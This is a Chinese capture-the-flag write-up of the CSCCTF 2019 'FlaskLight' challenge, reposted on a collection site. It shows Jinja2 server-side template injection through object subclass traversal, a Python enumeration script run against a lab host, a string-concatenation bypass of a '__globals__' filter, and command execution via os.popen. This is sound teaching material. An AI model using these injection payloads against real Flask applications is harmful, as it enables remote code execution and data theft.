[CSCCTF 2019 Qual]FlaskLight SSTI注入
進去后頁面提示你是flask框架,f12里面告訴你參數名字叫做search并且用GET方法傳輸,十有八九是模塊注入了,用7*7試試服務端模板注入攻擊 - 知乎?
可以發現在searched后面輸出了49,既然我們可以利用{{}},又有輸出點,直接模板注入GOGOGO?
python-flask模塊注入(SSTI) - ctrl_TT豆 - 博客園因為不太熟,只能一步步來
''.__class__ //先隨便查看一個字符所屬的類是什么 ''.__class__.__mro__ //返回類的基類是什么,找到object這個主類 因為返回的是元組類型的,我們可以用[n]來表示調用哪個類(這里假設object是第三個類) ''.__class__.__mro__[2].__subclasses__() 來查看所有可以引用的子類?
?
我們知道執行命令的模塊是os,那么哪個類里面能調用os模塊呢,如果找到了,第幾個呢,這個時候我們如果人工一個個去試的話那就很麻煩,利用腳本來查詢?__init__.__globals__
import requests import html import timefor i in range(0,300):time.sleep(0.06)url='http://9a83c16c-d62a-4040-825b-2ffa4954c5ad.node4.buuoj.cn:81/?search={{\'\'.__class__.__mro__[2].__subclasses__()[%d].__init__["__glob"+"als__"]}}' %(i)r = requests.get(url)if "os" in html.unescape(r.text):print(i)這里構造["__glob"+"als__"]這樣的原因是我直接寫__globals__會報錯,懷疑后端把這個敏感字符給過濾掉了,因此我們需要繞過
可以看到標號這么多的類有os模塊,我們隨便利用一個就行,就用128吧?
發現一個目錄flasklight
?其中一個是源碼,一個是flag,我們可以看見源碼確實過濾了globals
相信很多人和我一樣都是用的system執行命令,但是沒有任何回顯
python中os.popen, os.system()區別 - ccorz - 博客園
Python中os.system和os.popen區別 - 純黑色 - 博客園
那是因為system調用完shell腳本后,它返回的不是調用腳本的結果,而是一個信號代碼,他所出來的結果是在執行的系統上,因此我們如果要用system命令的話,我們反彈shell才能看見(我不會)
popen執行命令返回的是一個讀取文件的對象,用read()函數讀取就可以獲得我們想要的命令結果
總結
以上是生活随笔為你收集整理的[CSCCTF 2019 Qual]FlaskLight SSTI注入的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: efm8bb1 烧录器_EFM8BB1L
- 下一篇: liferay入门